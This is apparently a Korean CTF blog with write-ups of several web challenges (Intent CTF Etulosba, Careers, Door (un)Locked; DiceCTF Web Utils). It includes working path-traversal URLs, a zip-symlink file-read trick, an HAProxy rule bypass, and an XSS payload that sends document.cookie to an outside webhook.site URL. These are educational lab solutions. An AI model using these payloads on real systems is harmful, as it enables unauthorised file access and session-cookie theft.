우리 스파이가 Etulosba CDN의 소스 코드를 훔치는 데 성공했습니다.
해당 서버에서 플래그를 가져오려면 여러분의 도움이 필요합니다.

주어진 main.js 파일 먼저 확인해보도록 하겠습니다.

 

 

main.js 파일입니다.

const fs = require("fs");
const path = require("path");
const express = require("express");

const server = express();

server.get("/", function (req, res) {
    res.end("<html><body>etulosba</body></html>");
});

server.get("/files/images/:name", function (req, res) {
    if (req.params.name.indexOf(".") === -1) {
        return res.status(400).json({ error: "invalid file name" });
    }

    res.sendFile(__dirname + path.join("/files/images/", req.params.name));
});

server.get("/files/binary/:name", function (req, res) {
    if (req.params.name.indexOf(".") !== -1) {
        return res.status(400).json({ error: "invalid file name" });
    }

    res.sendFile(path.resolve(__dirname, "/files/binary/", req.params.name));
});

fs.writeFileSync(path.join(__dirname, "flag.name"), process.env.FLAG_NAME);
fs.writeFileSync(path.join("/tmp", process.env.FLAG_NAME), process.env.FLAG);

server.listen(process.env.HTTP_PORT);

 

특정 주소로부터 flag.name 파일을 가져와야 하고 후에 값을 사용하여 /tmp 안에 있는 플래그 파일을 가져올 수 있습니다.

 

 

think1  이는 LFI를 이용하는 문제로 보입니다. 우선적으로 /files/images/에서 파일을 획득해야됩니다.

약간의 조건이 걸려 있습니다. 

/files/images/:name

위 형식을 유지해야 하며 indexof의 결과 값 즉, 일치하는 결과 값이 없어 -1이 나오게 하면 error을 뿜습니다.

 

 

때문에 아래와 같이 위 형식을 유지하되 index of('.')를 우회 하도록 하여야합니다.

/files/images/%2E%2E%2F%2E%2E%2Fflag%2Ename

그럴 경우 txt 하나를 획득하게 됩니다.

 

 

 

 

think2  이제 폴더명을 획득했으니 위와 유사한 방식으로 /files/binary/에서 파일을 획득해야됩니다.

/tmp 파일 안에 있다고 위에서 언급했으니 다음과 같은 url을 입력해줍니다.

/files/binary%2Ftmp%2Fimaflagimaflag

그 결과 아래와 같이 flag를 획들할수 있었습니다.

 

'Challenge > CTF' 카테고리의 다른 글

[DefCamp CTF 21-22] web-intro  (0) 2022.02.15
[Intent CTF] Graphics  (0) 2021.11.30
[Intent CTF] Careers  (0) 2021.11.22
[Intent CTF] Door (un)Locked  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07

[Intent CTF] Web 카테고리 두번째 문제입니다.

URL에 먼저 접속해보도록 하겠습니다.

 

 

Get more Information, More은 특별하게 없어 보이고 우측 상단에 Careers에 파일을 업로드하는 기능이 존재합니다.

think1 file-upload를 통해 공격이 진행되는 것으로 짐작됩니다.

 

 

txt 형식만 사용하여 이력서를 구성하고 zip 파일로 만들어 업로드 하십시오.

txt 파일을 zip으로 만들어 업로드 하라고 하니 일단 업로드 해보도록 하겠습니다.

 

 

zip 파일을 업로드하자 URL을 줍니다. 접속해보도록 하겠습니다.

 

 

업로드한 zip이 풀려 txt 파일만을 다운 받을수 있도록 서비스가 제공되고 있습니다.

think2 이 문제에서 서버는 업로드된 zip파일의 압축을 해제합니다. 심볼릭 링크를 사용하여 압축할(zip Symlic) 경우 서버 파일 시스템에서 압축을 해제해도 내가 필요한 파일에 대한 링크가 계속 유지될 것 같습니다.

 

제작해보도록 하겠습니다. 페이로드 제작 방식은 다음과 같습니다.

ln -s /flag test.txt
zip --symlinks symtest.zip *

결과 symtest.zip 파일이 생성됩니다.

 

symtest.zip 파일을 업로드 해보도록 하겠습니다.

test 파일에서 flag를 획득하는것을 확인할 수 있습니다.

'Challenge > CTF' 카테고리의 다른 글

[Intent CTF] Graphics  (0) 2021.11.30
[Intent CTF] Etulosba  (0) 2021.11.25
[Intent CTF] Door (un)Locked  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09

[Intent CTF] Web 카테고리 첫번째 문제입니다.

일부 연구원은 CTF용 웹사이트를 배포하기 시작했지만 플래그를 숨기려고 할 때 정의된 정책에 문제가 발생했습니다.
약한 링크를 찾을 수 있습니까?

think1 정책을 통해서 해당 서버를 보호하고 있으며 정책중에 문제가 있어 취약한 부분을 공격하는 문제인듯 합니다.

 

추가로 제공된 ha.cfg 파일을 확인해보도록 하겠습니다. 내용은 아래와 같습니다.

global
    daemon
defaults  
    mode    http
    timeout  client  50000
    timeout  server  50000
    timeout  connect 50000
frontend web 
    bind *:8000  
    http-request deny if { path_beg /flag }
    http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ }
    default_backend websrvs
backend websrvs 
    http-reuse always
    server srv1 flask:5000

 

구성과 내용을 기반으로 검색해 보았을 때 ha.cfg 파일은 로드밸런싱 및 보안을 위한 haproxy 파일로 보입니다.

http-request deny로 몇가지 제약사항 필터링이 걸린것을 확인 할수 있습니다.

 

think2 해당 주소 /flag로 접근하기 위해서는 필터링을 무력화해야만 합니다.

필터링 조건들을 한번 살펴 보겠습니다.

http-request deny if { path_beg /flag }

/flag 문자열로 시작되는 요청은 차단된다는 의미입니다.

http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ }

url을 디코딩한 후에 나오는 값이 정규표현식 ^.*/?flag/?.*$ 문자와 같을 경우 모든 요청을 차단합니다.

이곳에서 자세히 봐야 할것이 있습니다. 정규표현식이 잘못됬다는 것입니다.

표현할때 역슬래쉬로 처리를 해줘야 동작합니다. 

/? -> \/\?

 

think3 /flag가 정확히 어떤주소에 있는지 살펴보겠습니다.

다행히도 url:port 바로 뒤에 /flag가 존재하며 정책에 의해 접근이 불가능 한것을 확인할 수 있습니다.

 

think4 필터링을 우회해보도록 하겠습니다.

/flag로 접속할경우 보안 정책에 의해 403 Forbidden이 Response 값으로 나오게 됩니다.

/flag를 1./flag로 시작하면 안된다. 2. url deocoding한 값이 제시된 정규표현식과 일치해서는 안된다는 조건에 의거하여 /./../flag로 변경하도록 하겠습니다.

 

 

. 때문에 403 Forbidden이 뜨고 있습니다.

정규표현식에서 . 의 경우 line terminators를 이용하여 우회가 가능합니다.

%0a를 사용해보도록 하겠습니다.

 

 

200 정상적으로 Response가 나타나는 것을 확인할수 있습니다.

'Challenge > CTF' 카테고리의 다른 글

[Intent CTF] Etulosba  (0) 2021.11.25
[Intent CTF] Careers  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23

앞서 해당사이트의 전체적인 흐름을 확인하였고  이제 소스코드의 어떤부분을 어떻게 공략해야될지 생각해보아야 한다.

대회 당시에는 Pastebin에 script 구문을 만들어 넣으면 될거 같아 보였지만 효과가 없었다.

나중에야 알았지만 이런식으로 직접적으로 페이로드를 입력한다고 바로 풀리는 문제가 아니었다.

 

보지 않았던 view.html페이지를 살펴보자

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      //uid 출력
      const id = window.location.pathname.split('/')[2];
      
      //uid가 없을 경우
      if (! id) window.location = window.origin;
      
      //{statusCode : 200, data : 123, type : paste}
      const res = await fetch(`${window.origin}/api/data/${id}`);
      
      //data와 type값을 받음
      const { data, type } = await res.json();
      
      //data 값이 제대로 있지 않을 경우
      if (! data || ! type ) window.location = window.origin;
      
      //type이 link일 경우 data 값 주소로 이동
      if (type === 'link') return window.location = data;
      
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

 

이 중에서 'type이 link일 경우' 주석이 달린 부분을 살펴 보면 data 값을 이용한다면 XSS를 사용이 가능 할듯 싶다.

여기서 우리가 만족시켜야되는 것을 type을 link로 data 값을 XSS 구문으로 만들어야한다.

 

data값 -> XSS 구문

type값 -> link

 

XSS구문을 아래와 같이 webhook을 사용하여 작성하였다.

javascript:document.location='https://webhook.site/#!/3e87b4ab-2e7b-49b3-b36c-9d52819a1946?c='+document.cookie

 

다음으로 type값을 link로 맞춰 줘야한다.

      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;

 

앞서 살펴보았던 api/createLink 부분에서 type이 link로 변한다. 

fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

 

database.appData 구문을 살펴보면 type이 링크로 변하는 것을 확인할수 있다.

 

앞서 코드 분석이 이루어졌을때 api/pastebin과 코드가 굉장히 유사하다고 하였다.

fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

이곳에도 database.appData 구문이 존재한다.

database.addData({ type: 'paste', ...req.body, uid });

여기서 주의해서 봐야되는게 2번째 인자다.

 

'...'은 JS의 스프레드 연산자인데 이걸 사용하면 아래와 같이 앞에 인자를 덮어 씌울 수가 있게된다.

두번째 인자를 사용하여 req 패킷의 body부분에 위에 작성한 페이로드에 type=link를 추가하고 삽입해주면 

문제가 풀리게 된다.

 

최종 페이로드

{"data":"javascript:location.href=https://webhook.site/a6268581-7ae5-4be4-8fd3-a4f16744d829?c='
+document.cookie;","type" : "link"}

 

 

 

이렇게 문제가 풀린다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Challenge > CTF' 카테고리의 다른 글

[Intent CTF] Door (un)Locked  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09

 

내 친구가 이 부족한 툴을 만들었다; 쿠키 값을 훔칠수 있겠어? 링크를 보내주면 내가 전달할수 있어.

 

this dumb tool

툴이라고 소개된 url로 접속하게 되면 2가지 기능을 마주하게 된다.

- Link Shortener

직역하면 링크 단축키라고 한다. 

URL 풀주소를 입력해주면 web-utils.dicec.tf를 도메인으로 사용하는 URL주소를 건네준다.

 

ex) http://www.google.com -> http://web-utils.dicec.tf/~~

실제로 단축 주소를 입력해주면 해당 사이트로 이동하는 것을 확인 할수있다.

https://web-utils.dicec.tf/view/pEr848xN

 

- Pastebin

값을 입력하면 해당 데이터 값을 출력(?) 해주는 URL을 건네준다.

ex) test -> https://web-utils.dicec.tf/~~ 

마찬가지로 실제 단축 주소로 이동해보면 입력한 값을 그대로 출력해주는 페이지를 마주할 수 있다.

https://web-utils.dicec.tf/view/TRTO7I1W

 

 

I can pass it along

ravidusash.tistory.com/139

web/Babier CSP에서 나왔던 Admin Bot인 것 같다. URL을 입력해주면 Admin Bot 접속해주는 방식인 것 같다.

 

우리는 이 문제의 목표를 찾았다.

쿠키 값을 얻기 위해서 어떠한 URL 주소를 찾아내 입력해 주어야 한다.

 

다음으로 제공된 app.zip 파일을 열어 분석을 진행해 보았다.

아래는 dumb tool에 관한 구조이다.

-app
| + modules
|  - database.js
|
| + Public
|  - view
|  - style
|  - index
|  + pastes
|   - index (pastebin)
|   - script
|   - style
|  + links
|   - index (link shortener)
|   - script
|   - style
|
| + routes
|  - api
|  - view
|
| - Dockerfile
| - index.js (server)
| - package.jsaon

 

크게 server -> linkshortener -> pastebin 순으로 진행하겠다.

const fastify = require('fastify')();

const path = require('path');

fastify.register(require('fastify-static'), {
  root: path.join(__dirname, 'public'),
  redirect: true,
  prefix: '/'
});

fastify.register(require('./routes/api'), {
  prefix: '/api/'
});

fastify.register(require('./routes/view'), {
  prefix: '/view/'
});

const start = async () => {
  console.log(`listening on ${await fastify.listen(3000, '0.0.0.0')}`)
}

start()

index.js (server)의 코드이다.

코드를 통해 route를 사용하여 api, view를 정의한 것을 확인 할수 있다.

 

linkshortener와 pastebin을 확인하기 전에 route을 먼저 보도록 하겠다.

 

server -> route -> linkshortener -> pastebin

순서대로 api, view이다.

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}
module.exports = async (fastify) => {
  fastify.get(':id', {
    handler: (req, rep) => {
      rep.sendFile('view.html');
    }
  })
}

 

route의 api 소스코드를 분석해보면  8개의 랜덤 값을 생성하는 것과 url이 https:// 로 시작되는지 확인하는 과정을 볼 수 있다.

당장은 눈에 보이는게 없어 이 정도 정보만 얻고 넘어가도록 하겠다.

 

server -> route-> linkshortener -> pastebin

 

Public/link/index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Link Shortener</title>
    <link rel="stylesheet" href="style.css">
    <script src="script.js"></script>
  </head>
  <body>
    <div class="parent">
      <div class="content">
        <form id="url-form">
          <input id="url-input" type="text" placeholder="Link..." spellcheck="false"/>
          <input id="submit-button" type="submit" value="Shorten"/>
          <div id="output" class="display"></div>
        </form>
      </div>
    </div>
  </body>
</html>

html소스코드를 보고 script.js 분석이 필요하다고 느꼈다.

 

Public/link/script.js

(async () => {

  await new Promise((resolve) => {
    window.addEventListener('load', resolve);
  });

  document.getElementById('url-form').addEventListener('submit', async (e) => {
    e.preventDefault();
    const url = document.getElementById('url-input').value;
    const res = await (await fetch('/api/createLink', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        data: url
      })
    })).json();

    if (res.error) {
      return;
    }

    document.getElementById('output').textContent =
      `${window.origin}/view/${res.data}`
  });

})();

index.html에서 입력 받은 값을 api/createLink로 전달하여 특정 값을 전달 받는 것을 확인 할 수 있다.

아까 지나오면서 본 그 랜덤 8자리 값인 것으로 보인다.

 

server -> route-> linkshortener -> pastebin

 

Public/pastes/index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Pastebin</title>
    <link rel="stylesheet" href="style.css">
    <script src="script.js"></script>
  </head>
  <body>
    <div class="parent">
      <div class="content">
        <form id="text-form">
          <textarea id="text-input" placeholder="Paste..." spellcheck="false" rows="5"></textarea>
          <input id="submit-button" type="submit" value="Shorten"/>
          <div id="output" class="display"></div>
        </form>
      </div>
    </div>
  </body>
</html>

마찬가지로 script.js를 확인해 보아야 할 것 같다.

 

(async () => {

  await new Promise((resolve) => {
    window.addEventListener('load', resolve);
  });

  document.getElementById('text-form').addEventListener('submit', async (e) => {
    e.preventDefault();
    const text = document.getElementById('text-input').value;
    const res = await (await fetch('/api/createPaste', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        data: text
      })
    })).json();

    if (res.error) {
      return;
    }

    document.getElementById('output').textContent =
      `${window.origin}/view/${res.data}`
  });

})();

같은 내용이다. index.html에서 받은 URL을 api/createPaste에 전달하여 값을 받는다. 가장 뒷부분에 사용되고 이는 아까 랜덤 값 8개라 지칭하였던 그 값이다.

 

위에서 살펴 봤던 route/api를 다시 한번 살펴봐야 될 것 같다.

server -> route-> linkshortener -> pastebin -> route

const database = require('../modules/database');

//linkshortener에서 사용됨
module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8); // 8자리의 랜덤 값을 뽑아냄(database.js 분석 결과)
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid }); 
      rep //랜덤한 8자리 값을 반환
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

//createPaste에서 사용됨
  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8); // 8자리의 랜덤 값을 뽑아냄
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep //랜덤한 8자리 값을 반환
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

server -> route-> linkshortener -> pastebin ->route -> modules

const Database = require('better-sqlite3')
const db = new Database('db.sqlite3')

const init = () => {
  db.prepare(`CREATE TABLE IF NOT EXISTS data(
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        uid TEXT,
        data TEXT,
        type TEXT
        );`).run();
}

init();

const statements = {
  getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`),
  addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
}

module.exports = {
  getData: ({ uid }) => { // 값 조회
    return statements.getData.get(uid);
  },
  addData: ({ uid, data, type }) => { // 값 추가
    statements.addData.run(uid, data, type);
  },
  generateUid: (length) => {// 값 8개 가챠
    const characters =
      'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    const arr = [];
    for (let i = 0; i < length; i++) {
      arr.push(
        characters.charAt(Math.floor(Math.random() * characters.length))
      );
    }
    return arr.join('');
  }
}

소스코드 분석을 통해 당장 얻을 수 있는 정보는 다 얻어냈다.

 

 

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

+ Recent posts